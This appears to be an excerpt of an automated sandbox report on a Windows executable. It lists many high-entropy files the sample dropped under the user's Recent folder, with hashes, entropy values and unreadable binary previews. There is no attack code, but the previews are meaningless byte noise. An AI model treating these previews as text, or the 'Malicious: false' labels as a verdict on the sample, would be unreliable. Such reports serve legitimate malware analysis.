SSDEEP:	24:UHlP/WXNJN1iCI8YjdbBveumbmvf8tqScqNRqko1QuOi2A7L/v4f+eYX2bD:u/WKkYjdJ6mX8AScqNRqko1Q9i2U7v4r
MD5:	36D5CE4A3563DE9D9ECA70111136E7A9
SHA1:	2AD04EDC82232FF5FF0C11DC759EAE7CEBA5140E
SHA-256:	85226838CBB354DB6AA6239D4D6AC4AF3E8DB156A6EABB7A8D463C3A8C892EB2
SHA-512:	3363D07114597E460DCE08E256D17DAAE99B0C26E6F0DAFB10CF6C89C855C6E03D22DF639AD8916D1E7B81512F1A2A7147AA2F33F3F569D29454D3ABC6F6DA6C
Malicious:	false
Preview:	CURQNd%.Q.X..)..M...MI.h.O..`.6k...B.%.r..=1.?5......x5e...]..L=.^..LQB....k.5....`?Q..5v...Z..X"X.qQ.....?r]......0.)......4.5.`..\|.Ok..xT.....:\..k..].,.(1TN..t.p.......NKr-.(...v.9..D...\|...+G...:@tRB ..rs:...E...u!P.G8..R.#.l.....;.T.8.u.%.6>........&.R....k.$.\|.._.J...[....m.......6...+S.<...x...LKoTg......._q.Y...6.)&".Ro....j..e....=Dx..M...R.......9DE.(....X.../....y.h.O7.........U..../..?..c..h..W.F..?..$./.S.....&&.2...F9.Y_.k..5+.Y....d...H...-0..;6P..........I..@...s..H....H.._.....C..C>.5..._.bU~.;m......\|[m..$o.n.G........{.h..@...'NNu.8..u;\.*\..]g.....#...m.4am..N...6LFH......U.&...LH-.cV...}.Q2-/...U....{~.U.!......E.Bq.)g........PR~....wU.........T6...S....2........"p"o.X$....].Zl.Jw~.....T..?...'_.q.q....O...{./...%..yz.a.....\|...1S.<.../&......./lR.$4.N...T.........I....f..+0.R...O.<.p.>`o.G[..].y..1j..7...%..M.}!a.7.2....1.........\..7K.....[?....5".[A&.... .C...Pz.V.%.P./.:.k..a<m...&...u..#....k..xz..]..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DVWHKMNFNN.mp3

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835876574368724
Encrypted:	false
SSDEEP:	24:1TNvCim3IiTa4X1uuzU5/ArfUX+5jfJgkqRcOK3ZxUILszb2bD:1sV3ra4lsIrf9jRjOb2szID
MD5:	309FFE462C5F1CDF3B374D4F95F69E80
SHA1:	0D33595DF875BD7AE4DF0FF8C1A3F7937AB875CA
SHA-256:	77F4E6310E636ED48CF9960BC7774C9AF5674B621F1AE9027C57EA4EA74EC363
SHA-512:	DF3AA0E581A2977BC61A30BF6D8085E1B7B40128460AF8E788534596C04441D86F9C9AF6158170EE38EC024A10B4E7BA506820C4F3C016D65762D6A2DF59E662
Malicious:	false
Preview:	DVWHKW.\|..i. ..GU..#q..z....q...@......N..@..%\.....g.'{k...~.K.[#T]{.=...F...!.. ....DrN...R...@k.pvQ`.....!..(.n......[h.....`Q`.m3.T.....]..!.(+.B...L..W.{.;..u&.B....!cg.+....]...,8...g.^.ny?/e..1...G......2@M.-.W...y.k.I.........R%.....YN~...nh\|y......Jdn.12..Q..A..c.."d`........,.9Y.-KxiYO..yK...!..F.Z.yC..dh.T.........-.J\3..%...\|.f.;......P.}.;K=H.......[!i...KQ).X..E}.V..;...L.f..1e.I!..Z.K..".x..\|:..W.7.w>.eT1........i...."~...:...`...%.... .....`.C......K(9....v...!)#g.-.7I..._@....d.i.R.S.t.z...=(+_EK..V...Y....aBB......EU..'PEv..S<.O.ho..j.Sl.N..9.....<(Z{,.c..."._....`..i.h.+i.K4Yh.O.'u...i+.~q:.n.... "b..k.s...A9.?4.5...q;.=R.O......x. ....a..Bh.z....h...g.+.Hf..<3....>W..#L9..-....r....gk.Z............J:..X(3.V.=y..ZS.!..o.i.r.'.i...s.iXo.v...#..l..}..OS...w>.?.Oc.[.pc./W..' ...J....!A...=....Fu.,Z..}. ....wn...M..%@K.....o..T.w^ih*d.p`....).wW....L......@<Q...f.%.c1..........s1_B.p....g..... .V._..\.62.S..f......t5.'

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DVWHKMNFNN.pdf

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853240317777694
Encrypted:	false
SSDEEP:	24:wEVJlHE+26KRyvN72lPD0ZLncRgAGk8gBow5g/1KgXnA7og5UTgbw+n2bD:wEPlRFvN725D0ZDw0kfB9zoEXuD
MD5:	CC37C8DC130AE5416D56B0A43E322A1F
SHA1:	3460442072F906802DE9BA8FC8B5342EE415F8AF
SHA-256:	E7715DEFB511FA241304EF2777407C3606BC3A02DA1E3D9FB5798333CBFCEA3D
SHA-512:	CB2E55D64FBF04788888F05A3FF8E983B06A75B1129C9155BB286ACE072B2DD66CD2F4E8924BC73A6EA0043E8AAD3A306E3D14D1DE39CBB1C2F85BD62D9A1919
Malicious:	false
Preview:	DVWHK9S....2..D...[....q...x.ty1... "..I.ns}#..r..v.g...6Xx/U..k:...OpQ.h.l{.1b......C..<....F...fg-.(.6s..a....T.c`..........J6.q..CdQ. .3.Jn.t..$<..._.d....hT.......#.........G;...Yh.(...S.v.I..p8.K..HP.!45..o..t...7.m...X8......]7......F..c.V. ..G...E.`........o...Sc.ff.I..M.H\|.......s+.......n..[..D&.....;.g..5.%".G..A).1b.Qd.h0....<..M0.r'..Y..B......&..dr..d..W.wX."."{....(.;.[....f..V<e}...I.............r...6..~.]....1../6.;.J@@&...$..aD?.'.O..3..]..RM..+....Y3@...,.:...b..."$i..:@.8......?e.8.}.\.\..ki.XV.....K..~(..GkwBv..ZR.qI....\|4......zh1D5.wyM"L.<...!.h..C..Rl...c..q%D.LP..R.H..B.s7..pC..z..1s.M..ok..D......."....._.f...m...#.c.S....1.9^.P....3h....t.!%.M....bj...H....MY..<.b.......Up.A.P...#....$...l..j....r.......t;.0_...h..[z..hk4r..........\.u.."..E. _...k.K...M..T.4...T.......;..B...u.....d.....+.[.....W.5...D..$7C....:.W....g...73..U.2B.....[.n..@......t..B!.h.ou..+.......Cw.C.AC..'(e.5.n^3..,:..4

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DVWHKMNFNN.xlsx

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8612817318046
Encrypted:	false
SSDEEP:	24:LkDlDgvOEjraA2S4I6avAeEjbXXIyC0QFiaxcdVswNKHQu1zS3c+wIBX/DkMznta:LkDlDrirkS45LeOH0zFiaxMlNKQGSOIg
MD5:	F951EFC3B2D91220394D169DFD501C4E
SHA1:	AED555744EECF3B1CBB6C2DB9BBD5A9E7C158E36
SHA-256:	0C49C8A5642C8E4E80D2462C160A37811C1F9CCB91877E253F1A887E62680394
SHA-512:	72FD831FED5721123F57BE34320C30FFAC71ECC11C360CE4C5FBEAAE447AC74B5472A96D8D8A2C6AABBAE4B5AC0E681487EDEA72AD42707A47E9EA6B9BAAC2E0
Malicious:	false
Preview:	DVWHK....+W..Y....v.D.o.(._"......W..._0..Wu.........i....R..\|......K.TQ...Uu>...$R.`..}2.L:\|;.Da.Cn6&.p.TM....@.u~..F.....5......^."7.;L.C8....X........5..ai..Y..Q..aI....P.."..B. .1..Q[t;jy.....p.V....,.-q.C.,.6X.\|R.@...h\|p..O.l.K..fO.ci.r..w..NH..].'.BZ..../.\.0L...?.L..j.R.vL..%..&.P....H.B`[.D....O.......H..%. ...l.;bs.U........4....>......va........p...%._..%~9"{.`...r.._.B7f..=.7s..-.N=E...@..dV7......s.....e9.......nT.f.,+\|o.n. .....",(.:...T.J......6..Q.Z.+....zwFz'Y........Y........K^B8z.0..RQ.g.o.m.....fj,...%..+.V....w..8z'..r..}.W.g$..~.;./..f.4..h..y.....x..y.i.;.(.2...2.@...M.j.....h%w..k..A. ..[.Ki.pD...t.I.U..X^..I..>m.@\|.P....e.g.....pT..."..Y....L..@l].h.U.:..!\|...J...C..Ug.KJ.t..&s....`D.GP"......^......B....}.{.Z.D..<<...!.....Ju> .mCg.nyK.o..l.......~a.J.S..i.....M..b..R..6_sD....6K.:...pl..$.].H...............^[{.p..t.....l.{....}..D.^.....$A....RE.-J&\|.N.@...t.U.._v..T..N$>sw.b?.....p.p.J..Y..:f

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EFGRWFCUWS.jpg

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847772386363119
Encrypted:	false
SSDEEP:	24:nJwJPMa7hD8RHNZBAkaF4YXgpx4y+dnJGeglj3DfDcl7J4U3e6G/2bD:qJPM0D6HzBJgax4FJAj3vcZuU3eFcD
MD5:	1A5B76B7A3227ABAC32B2776B990EC1D
SHA1:	05ADEBA892BC011DDCC08FDB783DB5FC8899B302
SHA-256:	DCEA16F28291B0658672A7555F69E8E858B2CCFAB621A2FD2AC7E796DEA1FAD2
SHA-512:	5B32B9DB6D80C24706234125EA3ED4180EBFCE99E1CC4F29725554AD6C0DAA90E33F8AF30C12730A05918A6A3BD732A90AED11F717C8C4B5EF2BFB404C81DE96
Malicious:	false
Preview:	EFGRWv.0R.vA.}.....H..)......e.V...nx...K..DX...T...e..d!.........^...de...@.u+...c....aj1.Eu.>...[..x..b.u....&z..r.%Pw..V....pY.{2y..1.qE.Os..>..Oi....-...KBr,..4.._....u.!..u+.!w.yH].N.....Nlf..N...K..c..B...)oj....~..Q.z>.U.).c.D=.....rO...a`..9~~...Op...c1......m....2.Y$.U...c.i....YX.i5.Y...za...l...Y.!..9+...,...}...X..!.3FQ.....N\|$P.=."d..W.`..3k...L>....q3.hZ.;..B.i6.E...........i.....sR6.r.....%z.?....O..F\...^}.....<..MX.."h.....Q..m...,p>s9..p.P.BV...Cl..z...u..m..L..^... ....O...&)c.Kb..5.'.u..c..d.1..#.....F5......ovN.......r.G.....]..i....p",u..d..}Z.s.RT...M..2.....\|....q.z.V.#YA.....d+..I.:yK..5.#d....{.D.GH.r9...R3r....3.jb...9.V.\|...)..4...MI.}_$.;@../j.]..$...0j.....P.{.D%...{..s.......3v.0.........32fi. .d.:...n..`S.s..}....CX\|V...p....<x..EIw.......a.rZN...z..i.+-Y.h.....^>...y..".w.@_.H./...j[T...`....].X.-.Z....\...........C..T#!.H.2<.(...$5/_.o../.o-P..7..1\Z.E9.E.a..}.b..>.&\g_..'?.u......Mg.u.\.e>.9

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EFGRWFCUWS.mp3

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865169071812218
Encrypted:	false
SSDEEP:	24:Eakk1JAxvHkVvQA3Yjd7b/5OVW8xbZo1X9NbRcqtv5ZlAg2bD:Eakk1JAx8Knhb/YllZQ/bRcqhpaD
MD5:	F5BD52A7AE364907138AB58DD2383EBD
SHA1:	52B39BE15BC9E3A57FEF2826FE6464AA3EBD41F6
SHA-256:	71C2386DFC9DFB1AD8DEE35A6F9D20662DB1336069BAC7AE44F75AE412CDA7C3
SHA-512:	62B36F4E5ACD0F77BCF80F34D4E2AC5EB1AB8154A1E0435C13C9B35CAB5A876CD36BEF3B9AB9EC207957213B80327B9FE4DCEDCFA9ACCEC41365DC602D2024E5
Malicious:	false
Preview:	EFGRW....?.o....+...<.Z.!...:..}..d;j..+....S.[...1..e;....4d...........Nlx...@..1#...rsG.Gi........nYc.&...a}..;.......!.d.U..+86..sj/..^+..^.7HZ..].vBz.@.IP.e.KeT..n.OO+O.U2.....L.- .. ..x.fal.=.UZo].w.wr.....(x..-..fs.d.j...h..}G"..vQ......[.\|5u.v...'...}<k.u./RO..x....8........[....E........;....4........OhP.o..~....jI2..l}.q.<..Ap<i=..J.c......,t[=.Z_}g....C...n..6z.K...8Gw.... .@R\|P>.!.. ..f...uJ.G..c9..p...>......+..7.]._ihd.o..x...=A... 2D..Xb..21...V...)6kBa4...1.`...K....iFad.....C....S......X..W.R)yc-Cz..rtg......}z.. R...$.......9.o2.dm,J.(.b5....:J..-uz.-....b..J....Ie.v..W.....X4..`.}...7._...c.H....z[...H....'~u..".....@..W.>.....],X....i...^..."}<..O?.R.{....e....#)....\LS.s...i.2\|..\|a]P....(-.H.-..q.G...C.}........pt..-.VAq[..U.... .m),....t..4.w\|.~._...=zn;YF.%.....H....(....-.4Y.......{...PA.K~mJ[hb..'....6E.l.....,.f8....)......."..?.2<U=.a.......d/.W.s.+..2......\... .!..'....._..R.w.r...=..D.I

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EOWRVPQCCS.png

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861312976599682
Encrypted:	false
SSDEEP:	24:uxy4ocZ/S/JG0MsU+8xtKLCUVe74M36Unx/TlsL4cJUhiuZ2K0C865jg7bKs11Ta:uxRocZK/JGP4KtK3e74k66KpJOiuZJNh
MD5:	68C2FEA655E88A5C9A7F4F46250F1BFC
SHA1:	834488CC03B5E9C51D6CCF1BB62AEAB30C631807
SHA-256:	3D5D09C7E897DD0279E5FB02CF28966DEA7E6E1B8BAC08E60FBBC28D41A61BD8
SHA-512:	9DF401608F2CF9E30A29ECC1325318CCE56315A7292C97A20CE06B5C4E09E718713387CA95DCD641CC5A18A5E7D17117461332AC4F2ABE228F2240C2E09A88A1
Malicious:	false
Preview:	EOWRV..W..........7...e..c.i.........42P....@z)...P...NI....}..........N...$............6d8..`.o89X(..Z..."....7...P...dO..%.3S.Z.....e%I.jEB.#.....uvj...T.NL...........&1._K. 4....\|...vy!...h.y..S..p......@sL.9.A....R\|.v..vQ...!I4<1..#..}.\..........Y0..S....0.y7W...6...^.}Z..rh..H....+.B.}..6..f...pb.TI Cj.'.d}..Hq..r..Z....,.a8..47.C..'6.QX1..bW......}_z....}9_.....m...L[..bk.qg.V.]7..%..kg.l....t#r..O.`..J.-..f..2.l.5F....\|[9)V..{...[l..._Z....?.@.w./.3K.)...;._^...KY....m......L....u.v;../.aj]z&...\.f........?."...5... V...Z.D70......h..F..".w.J.5.YZ.[M..>a...5.....9..s...>d..R.:..>.k....@4..om9&sr.c...\|?^.....:\|..."[{r.".1....W..g...);....A.!5gS ..{.bR",.%..gX.&....n{.1..F.\...B"r....l'4.7!LK$?.....F,....{.1./Ve.q.Oo.6.K.....N...j......X..!$8X.7DN....49.8.e..>8.......Q1S.`.....Er.. ....U.....,V.l...(.......%z..tt...;C...r...v..FN.>.(:.\|.0b.p..x....i.h...D2..E..3Z....IW.U..V.]<.=].z.1i.....6 .Tz-r..>U...r+E...UJ.H{?.\.-......\Cl..j^XE..7...U.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HTAGVDFUIE.png

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860092544834988
Encrypted:	false
SSDEEP:	24:dW8yhjWNGPOSQly69LwXL+/pHdcjcwC1Z41pypnWCh+k9Valw/MTYHt2bD:dW8KWN3Dly+S+gjcwCzs45ZValD
MD5:	B98ECDDED9933F508FE5D7B5D2AA857B
SHA1:	CF9B2B10410B8867038D9A3DCCEABE286168381C
SHA-256:	706391FA6203722ACEE3558E34AA6376215149204FFDFB6CADB984C56C0B58CC
SHA-512:	7D7EF76B668B84E0001FB1BAA9FEC52174D2CA8A3F0B883894F6450D9E9BBAA8E94C0DADCA37325A93718E5FDDBB5B4683EC9657B30DC3D6D687A4BA6958C04F
Malicious:	false
Preview:	HTAGV...7l8?..H.s....Cj........)...,{..x.0y..B.i.....gWk=.\,.>_n..f.......6..V.m....CY...../...\...#..%f.N.{...T...P.'.h.'...X....K.k(.h....N...vJ..x>.G.0Z..._..J.]Y.M-....5x.7+C..qXgJ....].y....^\'RN.{.J.........!l....&.#....!.'.GYU^I.O./.....:_.(Q.....o.....Q?\|..6.L......87.`.lDg..?7./8c...)4'......3x.).O..#u.....j..LBWT.<A..P....TF\6..X...".........,o.......T...X..H....CE.4Z.bW' V.~}s..b..7..k..wi.Glg..S.........v"<.^..)LA.6..\|.'5}0d.8.I..f...P..T.p%Q....=5y...T.......J.FCzg.3h_w.2....F\|Z..-Y..+.#...#.lxh.2..~. 3 @..=.V.'r..z`S:.G.E...A...q[A.B..<....1Sd"...7....Z.).d..w..v..24........>.n......H...A....7....g=...`.2K;.95>..J..;. .,.$(....[...d.6...Z...j...co......R+~5....?...O8.....ii.......p3.3./Z4.....T.pcu.u.e.o.0..Z.......\g4..1N.......U:.{...>.\|..TQ.K.y.@..c.P..u/.2...@...H.s .wP..D..B......b..@....X&f.A..k...k.....,..l.q.>....WL. 7o...E.UX^...b.t......F.........1..X.y.wZ..Q....n%.C.d....f...{................+.b..fv....v.Y.(].u..RU

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\JSDNGYCOWY.jpg

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.880858298156362
Encrypted:	false
SSDEEP:	24:EwruzehNmf8vYyxaZlVUaFyyhRWWUzFU9X95N3Kdz5XjWAjq9fe9dfJynJsh42bD:EBejQiUlVUSyyPUzK95g15TW/9fe98sh
MD5:	9BBC3B82A7E8BB34C56E35F6B884FDA9
SHA1:	BA341EF203E917D8CD81BD18810CA22118BF9020
SHA-256:	93492AFA3100BA1787B421F9529F1181A2CBBBEFA371ABF4EFDFA8C478E806B5
SHA-512:	CCC9219ED1CED7242D1638FA3DF8D01184D0E5FDC21CF64E82DC0A4CAD89800CD4AF975A37EF4A81947441C269E7070DF59B0F81B4CFEBA30F79B9C343B77786
Malicious:	false
Preview:	JSDNG}...t.\.F.<.....tx,.....fb..2.^...?....i.......C-..D\.....=.$Z.....$.8...8.6..a.q.. @.Tc..jJ5. M.3...N.@..S..`...k]S..[.Q.....X.H.~..;r...(.C....a.fZ..C.:..#nf..dB.8 ..f..V.Jl.M...[La4.....Y...+.g.TA......9!s../)..O..J#.v../Y!.c.4.?/.t.~.s.H1.P......K...:\|..&.'....KU...k..:...2.+..T....;...qTW7.:...Pi.Hv..w]...>0.?w.TY.Y....o9.....j.Qu.....o;.Y..)....\|.l..R....-P..-j...m.8]0.....1Km....f2.s^.2.. ...m.uh.y._.t.F......V.B.j<MVf....)F...}......!.r.v.7>z......7g......7.0.....U....T.-...........P.1...dw_j`...v.f+...\...I..S ..J..........R..+#H...f^.......<..%......>....)...cI..%a..5..........W...N.p........o.......].!<..+<....r_+Q.x.kR....=....=.=T.?J.!..[!....nK~.S..........3.o..9..z.\|.%......'e....X..76cxh....`_E.............u..X.5k....._.'GFS=ps5.."..........p.l..9.\E..:..op....[..4.~...R..............-.....).=A......#..j....c..@.w...?.B...Hr.3H,......\..[Gc5.H\|...I...Z.gK...q....5....p.:TU...e.w...k]..c.....9z........V....Z'.d.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\JSDNGYCOWY.mp3

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852111371416681
Encrypted:	false
SSDEEP:	24:jiPml12WT6Pc9m/pBa20XlNghZO5V9njV1u8+YbHzL9JSPNp+BR76DIewA/k0H1w:kHWu2m/ObXlcA5rnjVo32n9Alp+f6DIF
MD5:	0F1D8FE93E8C7CCF33725099A98E1514
SHA1:	D63AA178596982A8757CAFCEADA79AF8B7B71F47
SHA-256:	421A4E2EB7A559F5D3A6F65B130F1D61C2A3F05095DC49443091330E1389F78B
SHA-512:	FE3A91246CA1DCC523AB963A4002D6A09C9DF688D59990699C1FAAB96DBFB4983F7642B3234B2347FBA187FD11E850298F800B0327F7A1D17D686E5025110378
Malicious:	false
Preview:	JSDNG.Z.........l.V......QG......t.p..O.v...1N9.^.t~...t....._.N...+8...o..DU....-x#5.R......h.G..U....F.v7..{Q.f.$....b...3......:6e...Y...-89r..........^n%...:1....8..x..>.Rt#\6...>~.M......,d/.R.j..y.`.[..w.....p..x....(>...(.)..T........K..z.eb.......).%...).o...e.N..~qgE.h$G..U...-C.1........J')..5.W..... ..o...d.sE.F.hC.Sly.c.I..D.}.@.N.i<....HL\k..h,..d!.....@j......q...fxQah@..r.c.7.nd.~..y...A.,5..a.2\|8.]..;.......;.&..K#..-....',..h{3..c....Y.T)..A.%8.x....(...#&.d.I....m#....{K.8..x..6.....#...\|e.<....f....\|.MH....)..\A...u.7..s.p..a:....#..s{^.i..{.z.8.W......M....>=...x.[x.......'..je..N.Z...(.LV.....{..%..j....m'.[._...7.?...h.X.q...d......}...q.Y.~.B,t.y...mh...o4p......W......8..s...c&*.........\|.J...1.f..L..l...2.....,...........w......Y.....Dji...V~..iT..Q.D..@H..D...G...i.._....[.\.kn...r..H.....8}'..\|.{.}.n.....Y...FYrK..)3.....N5...Z......+.<.c.f.(...fq..&;O..ny1.J...(.kMJ....FI<...?GQ..p....A\.n~+.....qO.D_...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KATAXZVCPS.jpg

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854756224625977
Encrypted:	false
SSDEEP:	24:xrS8LmYZdwwSNXjoF7QHABp2g4ndiriNFt7cKFbpIpLB82bD:A8Lm7wS96panUkcipINBPD
MD5:	C91A77E501AC77A61F72E8532FACA361
SHA1:	A6DF992A06CEC463EF8F05D23B8A415CC698023F
SHA-256:	4B26419C97B5EFB0E29E206F0C82C95CFC5D463D24467844F795C41D42CBED54
SHA-512:	7EC5B928D8BC1198779A8ECB1DCDBEEC4A644EF975BC5D83A2FEDFC94CD60966FB55F1656EE69A09D24C00B983E77FCFC2FB8FD556BA3C2644FCA284830E1855
Malicious:	false
Preview:	KATAX'.....>..x..m...#..j4ss...i....../s.......#..]...bnN.c.5^L.D.....".....).T.cr...'..?..GR!.....w@..6+f....>.F,.T....3.9D.t?.o@<..(.U&O.....nvu1..;...MB.15=.k..-....:bPOT$./.j.........e....A....(.Z"...K%^.>H.{Z._?....lt....;K.k&X................,.v.M../.zf.A<..R......O....Qg^.....l..o.)..T!{..`+[.B.CF.....x.).<..)c...8TU+.2..=`e].IN.E..9.Rf.!...sX....4q.......7.....M0..8..$..pr7../.........@X..w.^..'.&e6:2K....../.:[.T.......-P.._.m.........!.ZA..n...y....k..........Inp.F.p......"..).g.].c.....G'...L?.R............i#6.jN'.A....l..?2....-M.#...Y....f....!.~...=O.u.2....&....oW.h..7..W;HQ:....^....(:"..B....3....W...ZT..B....(%%.1..TV....(4q1it..FvU.q..B.w.N.+...9....x.z.....s-.....$.[.'.."u&~..hk.6.....?e...!.y,..:.<8.hK..`r$.+2.JsQ.i)!.........lJp.;=.+woR..s.J....\|.I1:y.p....?.5.,.w.....'.....F..g..>.E.....d#.X.x.....=..pu.+5.w.h/^.;.i.......kn.s.BYo&.~s:..g>.=@v!.<H..@.w....TM......m..K.).N=.w,..q....t}\|p..YA..b...;.k...!.(....*u..a...g

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KATAXZVCPS.xlsx

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852385162576787
Encrypted:	false
SSDEEP:	24:hCheSsI8PelMEPPzWpX2cRG04BIsVnIeYBx6fNLZmyYAsQ2bD:GehPLEHzeXcBIsV/Y36fNL8yYxDD
MD5:	83BD87E98A5B8A64134280E2A7D3E1A9
SHA1:	9B6B9763B444F508EC38BE3776515687D01D076B
SHA-256:	20B839DFEA1B4F5DCED0751FE8E16E7242B0F47F5E38E2509005729455DCFCFB
SHA-512:	711D5C5BA8F1BD05B6B005AC26C9BA0DDF5F6F0A6A742C4E70DC0F539C108CE0157907CA7AE5EC80742F07A690944425EBD4DC43FD7E37C2597E8533F82F95EE
Malicious:	false
Preview:	KATAX..........[./...:.i..w..w..>....x.0H!i.n.B..p.O.b..xApa..u.U...s ....=9.H.rwM.5...y:].U.,_D....J...u..qkW.}.....4"=..]Yo...0..\|.......x....w...d.H.!z..Z.u.....qta.kD..%.....K1...X,..)..."..8.9...U3...R....^z&.Ru^........qtnS...v..tE~...;.`.....T`..(?..S..H.....dN...wC9.g<Z....1...,.6S...<.P..u.b..'.....^..t....../...7.r....>...N;....B.@.`..(..;^....l....w.z.;F.8.Q..z....-)SY.3...K!j.T....f\......F 6....)..?[...6.mfbn.y....\#..l4R.5?..6.8\.I=w.4.'.K..!.z.;.]...Y$d..(X._..4.....)..}..TH....<A.L.e8.C@....0.L...........CSt..oj.Z.v-(..j.T.B....FG..Z..nb%fP....L(.[F....Jp..\|..7N.J'(....a..,...p...$5.m.c...&C.c....C.#.lq...U\|.q...$D..l..Y.yq........VE....n+Y...K.B...^.Qb...p..=x.y...x.4\...JmeV#I.....7^B.8_.(.....P....]t.....<...!.{fk.j.y..o.*.....{.....$..+`{!..Gx-..I.~.D."[.[g...o..R....?..._.}./...bM.....n7I......+Hl.Z>.\|...L. ...{..S_..'.&?.T...>..G.LK..&E;...sO.\|83...c..En...=d...i......1.k}.J74F..c...l....';..4.K9..r\.ex.yB_...K...1.....F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NEBFQQYWPS.docx

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842073954770842
Encrypted:	false
SSDEEP:	24:ZVvjyn/kbCIERP+obCheRm3Fvkr7wpWiTbslUD3HMCmJl2bD:ZJysOIeeeOFMrUl+UrHMCmAD
MD5:	22A57018FE87475DC64590A987C810FD
SHA1:	880CB5AFDFA2AB2572C127F33B2247AF6C7D4BF9
SHA-256:	4ED662724B7E97ECE0534ED2E1314AE7CACBEC47CE467F35D6406CE0EF6107E1
SHA-512:	29E7B3AAD0C37EDFA325DC66FE1A4A2F82F86B9AFA56FCF07F3C7A0A3F7A3E5B4D4359DEC624A06B29F92802C4BE74D32966F816AFDB19B49CD2142C554B22C8
Malicious:	false
Preview:	NEBFQ`.......F.B.$.;=.<..J.{M"....G..WM..#...........Fo.....Q...&m3..(+.@..;r...+9....L.}....h..n.....D..N.hGf..c...&..........N..cl.......F4.9..].......]..+.w.n6...S@..........CL....\|...B.J..'. )....,....8..`v.v<U.1....!.Kr.>T\|k..........R.....b.a...OQ......9.H.Y.+.S....t.......c......-..~..-=.y....=#....DXj....x.j....;....>./..0.7..-.a.&.4..j......D.^.5..JD...T.h...72..2z^k.&.U.c.=?.....N..f....\'.tG.......@.$......(...d......Q.1...aJz...."[M..>ga..T...u,.A..}..<Z.1m..w(7.k.la0.G..ES_.;......6[..Qh....t."..t.c...........T'c{q......].1y...ox7.z...L..V7....O.htI.s}.#VEi...,D..R2...cHz._u=THv...-..`.G...(.1V0\............./C..v....Z.8A..n.Oj.wN.......2..*..2;.._Vk.d%T[.,.=....{.E.....)..L...6..9..o.W<.... ...Wo...d.z..TL}.t.<.6..,.J./.....Y..Q..C...HM..AF#.9.....o.un...8.......pj~....h.HRZ.kiD..O2&.p....i+^.lNi;X...^u#..B4A?..i.;...S....Ds"A}........{.....4...j..'.i..\..p..i..-...x...:S7#{d..`.)1..b7J.`.l..VC..Fv.Q./:K...N}?SKD5

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NEBFQQYWPS.pdf

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835985028038762
Encrypted:	false
SSDEEP:	24:iRE7NPjFOsz+PL9Akg3XKLeFc/91NnOLXm8q9VhgCqSHiMc8+qN+q3Y3WhAndhA8:oEpRPHZe9u68YVqeijYNV3kWs7AjkD
MD5:	9CD6B70FED3600F02AAC558C76F8CDB2
SHA1:	7047A583B525CFC1A86FC0A139369963253CB3B7
SHA-256:	19D65F089E843498AD77AB2C08B34957CE897D769D5B7DE24E0D7F75DCAD8C86
SHA-512:	27CA3A079AA4354625E7639C7B9054A7DA7FF603A13D0DC530F057C01AE02132A39D9B79F7230DEED1F0AE29130186A5ADC0EC4F0D60172E7340A33FE47CDAFD
Malicious:	false
Preview:	NEBFQ0.&..[..TB.m....P..\|7....cS..:.!}.....[..xj..5Z.a....FL...\|g....."4.zA.FN.......q.@E.....Z.Z.......X>.....&..7DJ.....K.M!83.A.AXzHm...4..o;.. .I......:..c.l..T..?..../..iua..`.+u.;.U...r..L.[p..f.... ...[.Tdl.......P...?s 2..7..{o;.OCt:..8_;.Q......L..4.)D.Co../lV.....j..--\..D\i...Q2c.Ke.E...MtA....R.....p.d.FX....S..vC.-...(#...d+Z...l..z...B..{.\|.$+W.f....8.iM9.S...M}t.{Uc.N.s.LtK.f..?..6...\5....Gx....._1^ye....>n{.g.$3.kd........O..:...S1.....8se...KL..(\..}....,N.,_.c..v....A.....z.=..G....H..G..].......%.o.\."=..e"p....g. ..A..)i..}.bK..Vg...\...?.../.wR!:.(..B.K....@.b.u...h..j....X....U.l........qA..o...GV..n=..5.,.o....\|.6(...DR?..O..;0.l;...%...N..t.LZ...4?.W....M8."Y.!.g......'.._R.X.s.2. 